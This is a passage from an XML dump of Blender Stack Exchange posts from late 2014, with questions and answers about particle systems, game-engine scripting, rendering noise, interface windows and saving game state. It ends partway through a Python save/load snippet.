  <row Id="21549" PostTypeId="1" CreationDate="2014-12-30T20:11:47.940" Score="2" ViewCount="74" Body="&lt;p&gt;I have a keyed particle system with three objects, 1 controller and 2 items. Item A turns its particles into item B, and the three items share the same particle system, so it works, &lt;strong&gt;but&lt;/strong&gt; the item B starts its animation before (since it has the same animation as the item A). What I need is that the item B is invisible and begins to appear thanks to the particles given from item A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? &lt;em&gt;Even if I hide the emitter (Item B) it still appears forming the particles.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2014-12-31T03:21:13.000" LastActivityDate="2014-12-31T03:21:13.000" Title="Is there a way to change the particles from the second item on a keyed particle animation?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;&lt;keyframes&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21550" PostTypeId="2" ParentId="21539" CreationDate="2014-12-30T20:49:55.333" Score="2" Body="&lt;p&gt;You need to use &lt;em&gt;states&lt;/em&gt;. Basically this will be :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Near property &lt;em&gt;Player&lt;/em&gt; &gt; And &gt; State &lt;em&gt;set state 2&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will look like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vlX6d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on state two, you need an &lt;em&gt;Always&lt;/em&gt; sensor rigged up to a &lt;em&gt;Steering&lt;/em&gt; acctuator with the player being the target object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid being stuck in state 2 forever, make something to switch back when the player isn't nearby anymore.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-30T20:49:55.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21551" PostTypeId="2" ParentId="21547" CreationDate="2014-12-30T21:58:26.713" Score="4" Body="&lt;p&gt;If you just want to have different colors you could also achieve this with the cycles materials. A node wiring like this picks randomly a color from a color ramp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bS0Sp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way the number of particles having a distinct color can be easily controlled by the ramp settings.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-30T21:58:26.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21552" PostTypeId="1" AcceptedAnswerId="21653" CreationDate="2014-12-30T23:25:54.193" Score="0" ViewCount="102" Body="&lt;p&gt;I have previously asked a question on how to have a bullet hit the center of the screen, and I received a .blend. It confused me a little bit, as it included python and I am not familiar with python. The code reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;controllor = bge.logic.getCurrentController()&#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;target = scene.objects['target']&#xA;ray = controllor.sensors['Ray']&#xA;&#xA;if (ray.hitObject and not 'bullet' in ray.hitObject):&#xA;    target.worldPosition = ray.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this mean the bullet has to always be called &quot;bullet,&quot; I have multiple weapons, and multiple bullet shapes, speeds, damages, etc. Would I need to duplicate this script for every bullet type? Would I add commas to the script and show other bullet names? How would I let this script work for all my weapons?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="3710" LastEditDate="2014-12-31T13:13:46.437" LastActivityDate="2015-01-03T03:45:41.127" Title="Proper Vandal's Script" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21557" PostTypeId="1" CreationDate="2014-12-31T04:42:33.117" Score="0" ViewCount="1750" Body="&lt;p&gt;Whenever I apply the Edge Split modifier to any object within a .blend, it creates double vertices. This issue follows the model regardless of which version and format (.3ds, .dae, .obj) it is exported to. (I tested with a 2.71 Nightly, 2.72b, and a 2.73 nightly)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have any of you had this problem before and if so, how can it be fixed?&lt;/p&gt;&#xA;" OwnerUserId="5710" LastActivityDate="2014-12-31T04:44:04.447" Title="Applying Edge Split Creates Double Vertices" Tags="&lt;modifiers&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21558" PostTypeId="2" ParentId="21557" CreationDate="2014-12-31T04:44:04.447" Score="5" Body="&lt;p&gt;This is exactly what &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Edge_Split&quot;&gt;edge split&lt;/a&gt; does, by definition.&lt;br&gt;&#xA;Splitting one edge into two edges at the same location will make double vertices. &lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-12-31T04:44:04.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21559" PostTypeId="1" CreationDate="2014-12-31T06:21:16.033" Score="1" ViewCount="138" Body="&lt;p&gt;I'm making an FPS game with blender and I can't get my bullet to fire in the right direction. Here's a link to the blend file &lt;a href=&quot;https://mega.co.nz/#!AB1hSDob!sb_eL0uVHdRKFUwrG_74FjulLrU2gzRhIvrmXSOHYek&quot; rel=&quot;nofollow&quot;&gt;https://mega.co.nz/#!AB1hSDob!sb_eL0uVHdRKFUwrG_74FjulLrU2gzRhIvrmXSOHYek&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be awesome. This is all a learning experience for me.&lt;/p&gt;&#xA;" OwnerUserId="9739" LastEditorUserId="696" LastEditDate="2014-12-31T06:59:06.367" LastActivityDate="2015-03-07T02:05:04.410" Title="Bullet doesn't fire towards expected direction" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21560" PostTypeId="1" AcceptedAnswerId="21564" CreationDate="2014-12-31T06:29:39.957" Score="4" ViewCount="3245" Body="&lt;p&gt;I work with dual monitors, but there are many reasons why I may end up with only one window open. For example, if I accept the save while closing Blender, it opens with only one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to open another window without creating a Screen datablock? For example, by opening an existing Screen in another window (rather than creating the unneeded Screen datablock)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current process is to Duplicate the existing Screen to a new window (Ctrl-Alt-W), then delete the Screen datablock it creates.&lt;/p&gt;&#xA;" OwnerUserId="9734" LastEditorUserId="9734" LastEditDate="2014-12-31T07:03:30.847" LastActivityDate="2014-12-31T10:16:17.357" Title="New window without creating a new Screen object" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21562" PostTypeId="1" CreationDate="2014-12-31T08:18:34.057" Score="0" ViewCount="83" Body="&lt;p&gt;I am making a game with car AI who is driving around the city. Here are screenshots of Navmesh, target and it's path. Why do car make so short path and doesn't reach the target?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ajlG1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zgx3p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TBMKa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2014-12-31T08:18:34.057" Title="Why isn't my car reaching it's target?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;path&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21564" PostTypeId="2" ParentId="21560" CreationDate="2014-12-31T10:16:17.357" Score="7" Body="&lt;p&gt;I have two monitors but I only have one blender window open. I expand the window to fill both monitors and then alter the screen layouts so that there is a split on the edge of the physical monitors. By setting the window size then saving the startup file, it always opens to this size, and includes my layouts, I also disable Load UI so that I keep my layouts with other files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W2Yxy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may notice that the two monitors are different resolutions, I have a python console filling the off-monitor part that is not visible.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-31T10:16:17.357" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21565" PostTypeId="2" ParentId="21530" CreationDate="2014-12-31T11:56:04.023" Score="1" Body="&lt;p&gt;Blender doesn't render mesh edges, it only renders faces. While you can display the mesh edges in the 3dview and see them when using an opengl render, they will be one colour for the object, normally black or orange when selected while grouped objects will be green when selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some ways to get around this, one is to use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Wireframe&quot; rel=&quot;nofollow noreferrer&quot;&gt;wireframe modifier&lt;/a&gt; that turns the edges into a tube like mesh structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then apply the modifier and select parts of the mesh and &lt;a href=&quot;https://blender.stackexchange.com/q/516/935&quot;&gt;assign different materials as explained before&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c0L2e.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get both outline and faces you simply need to duplicate the object and turn the duplicate into the wireframe tubing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if the ply importer will maintain any edge colour information, but you may be able to adjust it to automate the process if you need to work with a complex mesh.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-12-31T11:56:04.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21566" PostTypeId="2" ParentId="3508" CreationDate="2014-12-31T12:35:19.067" Score="0" Body="&lt;p&gt;I keep a small Python console open for these types of fixes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.screens['CorruptScreenName'].user_clear()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note you must first leave the corrupt screen, e.g CTRL-LEFTARROW. Alternately, bind a key to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.screen.delete()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see: &lt;a href=&quot;https://developer.blender.org/T36175&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T36175&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9734" LastActivityDate="2014-12-31T12:35:19.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21567" PostTypeId="2" ParentId="21481" CreationDate="2014-12-31T13:24:12.463" Score="2" Body="&lt;p&gt;I have made a test setup that works, at least as far as I can tell:&lt;/p&gt;&#xA;&lt;p&gt;First, it's important to set the Colour Management display type to sRGB/RAW (or to None) and the gamma value to 1.0. This makes sure that the render output is stored into the output file in a linear manner. It shouldn't affect how the RGB values are shown inside of Blender though, so this should always be correct.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VzPCr.png&quot; alt=&quot;Scene settings for linear output.&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then a glance at how Blender expects normal maps to behave and how it stores the normals internally helps with setting up the material. Information on this can be found here: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Textures/Influence/Material/Bump_and_Normal&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki: Bump and Normal Maps&lt;/a&gt;&#xA;Quote:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Red maps from (0-255) to X (-1.0 - 1.0)&lt;/p&gt;&#xA;&lt;p&gt;Green maps from (0-255) to Y (-1.0 - 1.0)&lt;/p&gt;&#xA;&lt;p&gt;Blue maps from (0-255) to Z (0.0 - 1.0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In other places, the blue channel is also mapped from -1.0 to 1.0. Either way, this means that the red and green values have to be remapped accordingly. Optionally, this applies to the blue channel, too. This is easy to achieve using math nodes (here for blue from -1.0 to 1.0):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RbQtm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RbQtm.png&quot; alt=&quot;Material setup for a normal map material in Cycles.&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, using an orthographic camera from the top, the follwing result is achieved:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J3Xli.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J3Xli.png&quot; alt=&quot;Rendered result in my test scene.&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here, camera-facing surfaces have RGB values of (0.5|0.5|1.0), as expected. Also, the colours stay between 0 and 1 in all areas, but use the full range. So this looks good to me.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-04-29T20:22:38.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21568" PostTypeId="1" CreationDate="2014-12-31T13:37:53.103" Score="1" ViewCount="171" Body="&lt;p&gt;For an animation of 10k frames I would like to find a tradeoff between render time and quality. With a given approximately render time of 1 minute per frame it would take 167 hours (a week, 24h per day) to render the full animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For outdoor scenes I simply increase the number of samples to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For indoor scenes I use the &lt;em&gt;Limited Global Illumination&lt;/em&gt; preset plus &lt;em&gt;Ambient Occlusion&lt;/em&gt; and fiddle around the distance slider until the image looks 'bright enough'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iszfp.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lighting test scene has transparent windows, some emitting planes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results are: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with 50 samples (3 minutes):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gVHcz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with only 20 samples a lot more noise (~1 minute)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BiWrO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which settings should be taken into account when trying to reduce noise for a given render time? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Completely different approaches are also appreciated.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-31T13:48:09.617" Title="What would be some approaches to get low noise images from cycles with given render time for indoor scenes?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21569" PostTypeId="2" ParentId="21544" CreationDate="2014-12-31T13:44:56.753" Score="1" Body="&lt;p&gt;You can put each particle effect in it's own scene, things like lights and materials can be used in every scene to share the same settings. You can either use the VSE or the compositor to bring everything together for the final result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the VSE, have the background with each part overlaid (blend set to Alpha Over) You can overlap the timing so that a letter starts before the previous one is finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJ5fY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the same output with the compositor, notice the lower image input, it has a frame offset of 10 so the first image sequence is showing frame 11 while the second is on frame 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MEo77.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the VSE you can setup each scene and add each scene as a VSE strip, for the compositor you will need to render each scene to file then composite together as we don't have frame offsets when adding scene render layers. While you could have each scene with the same frame ranges I expect a slow down if every scene has to render many blank frames.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-31T13:44:56.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21570" PostTypeId="2" ParentId="21568" CreationDate="2014-12-31T13:48:09.617" Score="1" Body="&lt;p&gt;Reduce max bounces to 4(you don't need more), Use filter glossy to maximum. Use like 50-75 samples. Try to avoid using roughness(it makes a lot of noise). Make object Mix shader and put shader in bottom, than set the factor. There are a lot more suggestions which should help. &#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Reducing_Noise&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt;&#xA;are some more things to use. &lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2014-12-31T13:48:09.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21572" PostTypeId="1" AcceptedAnswerId="21586" CreationDate="2014-12-31T13:56:27.037" Score="5" ViewCount="1001" Body="&lt;p&gt;I need my game to always save all settings and scores, also always load them when running game. And... I want to also save theese objects, which has disappeared from scenes(collected points, boost ups, etc.) Who can help me, please?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="12" LastEditDate="2015-01-03T02:14:32.423" LastActivityDate="2017-01-03T16:34:17.777" Title="How to make a game autosave and autoload" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;properties&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21573" PostTypeId="5" CreationDate="2014-12-31T13:58:44.183" Score="0" Body="&lt;p&gt;Directories are folder adresses where you save, load, export or import data and files.&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="8363" LastEditDate="2015-01-01T01:16:13.650" LastActivityDate="2015-01-01T01:16:13.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21574" PostTypeId="4" CreationDate="2014-12-31T13:58:44.183" Score="0" Body="Directories are locations on a storage medium which list the locations of other other files. Directories are used to store files and other directories in a useful structure for easy access later. Also known as &quot;folders&quot;." OwnerUserId="8363" LastEditorUserId="599" LastEditDate="2014-12-31T20:30:15.110" LastActivityDate="2014-12-31T20:30:15.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21576" PostTypeId="1" AcceptedAnswerId="38231" CreationDate="2014-12-31T14:13:33.640" Score="3" ViewCount="5915" Body="&lt;p&gt;The particle number on my settings appear in gray, I don't think i'm able to change the number even thought i need it, how can i make it white again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eB8CA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="5705" LastEditDate="2014-12-31T14:37:21.703" LastActivityDate="2015-11-15T04:53:10.897" Title="Why are my particle settings grayed out?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21577" PostTypeId="1" AcceptedAnswerId="21581" CreationDate="2014-12-31T14:37:50.077" Score="4" ViewCount="2335" Body="&lt;p&gt;Hiding those vertices which are not to be affected makes me uncomfortable to adjust those vertices to be affected according to those which are hidden. So is it possible to affect only the selected vertices without hiding the rest in proportional editing mode.&lt;/p&gt;&#xA;" OwnerUserId="9743" LastActivityDate="2014-12-31T15:06:51.180" Title="Is it possible to use proportional editing without affecting or hiding nearby vertices" Tags="&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21578" PostTypeId="5" CreationDate="2014-12-31T14:45:08.847" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-12-31T14:45:08.847" LastActivityDate="2014-12-31T14:45:08.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21579" PostTypeId="4" CreationDate="2014-12-31T14:45:08.847" Score="0" Body="The Grease Pencil tools allow Blender users to draw lines inside of the 3D viewport. Possible uses for the resulting sketches include scene and animation planning as well as in-scene descriptions. They can be converted to curve objects and organised in layers." OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2014-12-31T15:34:57.180" LastActivityDate="2014-12-31T15:34:57.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21580" PostTypeId="2" ParentId="21537" CreationDate="2014-12-31T14:49:04.687" Score="8" Body="&lt;p&gt;With the physics set to newtonian, boids or fluid, particles are influenced by force fields and curve guides, while keyed particles only follow their own control systems. Keyed particle systems move particles from the position of one system to the position of another particle system. The key point is that you can use more than two systems for keyed particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By having a third system in the middle that uses newtonian physics I got the keyed particles to follow the middle particles as they followed the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5dh9R.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hefyB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-31T14:49:04.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21581" PostTypeId="2" ParentId="21577" CreationDate="2014-12-31T15:06:51.180" Score="3" Body="&lt;p&gt;One possible solution that is relatively cumbersome:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a base shape key (&quot;Basis&quot;), then a modification shape key (&quot;Key 1&quot;). &lt;/li&gt;&#xA;&lt;li&gt;Switch to edit mode.&lt;/li&gt;&#xA;&lt;li&gt;Select the area that you do want to modify and assign it to a new vertex group (Group). &lt;/li&gt;&#xA;&lt;li&gt;Modify the mesh using proportional editing (accepting that the parts that should stay unaffected are modified for now). &lt;/li&gt;&#xA;&lt;li&gt;Switch back to object mode.&lt;/li&gt;&#xA;&lt;li&gt;Set the shape key to 1 and select your vertex group (&quot;Group&quot;) under &quot;Blend:&quot; to mix in the &quot;Basis&quot; key for the parts that should stay unaffected.&lt;/li&gt;&#xA;&lt;li&gt;Then follow the procedure outlined in &lt;a href=&quot;https://blender.stackexchange.com/questions/5364/how-to-apply-shape-keys&quot;&gt;How to apply shape keys?&lt;/a&gt; to apply the changes to the mesh.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are easier ways to do something like this, with major limitations:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the area that you don't want to affect and press &lt;kbd&gt;Y&lt;/kbd&gt; to split it apart. Then set the proportional editing mode to &quot;connected&quot;, thereby excluding those vertices that were previously split from the other part of the mesh. Afterwards, join the displaced seam by hand.&lt;br&gt;&#xA;&lt;strong&gt;Limitations:&lt;/strong&gt;&lt;br&gt;&#xA;You can only do this if the area that you do want to affect is connected and in one piece.&lt;br&gt;&#xA;Re-joining the seam can be cumbersome, although the remove doubles tool helps with areas that weren't modified.&lt;/li&gt;&#xA;&lt;li&gt;Turn the part that you don't want to affect into a separate object (&lt;kbd&gt;P&lt;/kbd&gt; with selection). If necessary, enable Object &gt; Display &gt; Wire for this object. Then return to the first object and edit it freely. Afterwards, re-join the meshes with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;J&lt;/kbd&gt;. Join the displaced seam by hand.&lt;br&gt;&#xA;&lt;strong&gt;Limitations:&lt;/strong&gt;&lt;br&gt;&#xA;As before, re-joining the seam can be cumbersome.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-12-31T15:06:51.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21583" PostTypeId="2" ParentId="21421" CreationDate="2014-12-31T16:36:26.433" Score="-1" Body="&lt;p&gt;Came accross an answer to the question by lyzard.3d on blenderartists.org that works as well (&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?301906-Change-Particle-System-Settings-with-Python&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cube = bpy.data.objects['Cube'] #get object&#xA;par_set = bpy.data.particles['ParticleSettings'] #get particle setting you want to assign&#xA;cube.particle_systems['ParticleSystem'].settings = par_set #assign particle settings to object's particle system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does require to create all particle setting names before running the script, otherwise it comes up empty handed.&lt;/p&gt;&#xA;" OwnerUserId="9673" LastActivityDate="2014-12-31T16:36:26.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21584" PostTypeId="1" CreationDate="2014-12-31T19:10:38.787" Score="1" ViewCount="702" Body="&lt;p&gt;I have a rigged mesh and am at the point where I'm trying to pretty it up.  I've created a few controller bones that I use to drive the IK.  I'd like to change their appearance by setting their Display/Custom Shape property.  Coming from Maya, I'm used to using NURBS shapes to make easy to identify shapes.  However, when I create a NURBS curve and use it as my bone's custom shape, nothing is displayed in the viewport.  I can set it to meshes or empties and they display fine - but not NURBS paths.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can use NURBS paths as my custom display shape?&lt;/p&gt;&#xA;" OwnerUserId="9732" LastActivityDate="2015-04-12T19:46:41.050" Title="Can I use Nurbs curves as the bone display custom shape?" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21585" PostTypeId="1" CreationDate="2014-12-31T20:11:11.840" Score="2" ViewCount="145" Body="&lt;p&gt;Здравствуйте  не могу разобраться с прозрачностью&#xA;есть волк и текстуры.&#xA;почему то все становится полупрозрачным &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi I can not understand with transparency&#xA;is a wolf and texture.&#xA;why everything becomes translucent&#xA;Download Blender File For Mega&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.co.nz/#!EJ5miDrR!PFgflDbXDROdb0nBfxKqcdT79v0ucEcYGgKugwDYRLU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.co.nz/#!EJ5miDrR!PFgflDbXDROdb0nBfxKqcdT79v0ucEcYGgKugwDYRLU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cs1DK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z5A4i.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9748" LastEditorUserId="599" LastEditDate="2014-12-31T20:58:38.830" LastActivityDate="2015-01-30T21:18:33.443" Title="Why does my model become partially transparent when using the alpha channel to control transparency?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21586" PostTypeId="2" ParentId="21572" CreationDate="2014-12-31T20:23:52.927" Score="4" Body="&lt;p&gt;There's probably a much easier way, but you could have variables which change depending on what level your in ect, along with others that toggle the use of boost ups and collected points etc. Then you can save these variables to different .txt files so that they're the same when you start up the game next time.&lt;/p&gt;&#xA;&lt;h3&gt;For Python Variables:&lt;/h3&gt;&#xA;&lt;p&gt;Connect this script to a keyboard sensor, with a status of All Keys, followed by an always sensor. The pytho controller is in module mode. You need a folder next to the .blend called &amp;quot;SaveLoad&amp;quot;. And finally add two game properties to you object just so that you can see that the script really works.&lt;/p&gt;&#xA;&lt;p&gt;S Key to save, L Key to Load and A Key to change the variables, but obviously you can easily modify the code to you needs of automatic execution.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;path = logic.expandPath(&amp;quot;//SaveLoad/&amp;quot;)&#xA;&#xA;cont = logic.getCurrentController()&#xA;own = cont.owner&#xA;keys = cont.sensors[&amp;quot;Keyboard&amp;quot;]&#xA;&#xA;var1 = 20&#xA;var2 = 60&#xA;&#xA;def save():&#xA;    global var1&#xA;    global var2&#xA;    for key,status in keys.events:&#xA;        if status == logic.KX_INPUT_JUST_ACTIVATED:&#xA;            string = bge.events.EventToString(key)&#xA;            &#xA;            if string == &amp;quot;SKEY&amp;quot;:&#xA;                info = str(var1)+&amp;quot;,&amp;quot;+str(var2)&#xA;                file = open(path+str(own)+&amp;quot;.txt&amp;quot;, &amp;quot;w&amp;quot;)&#xA;                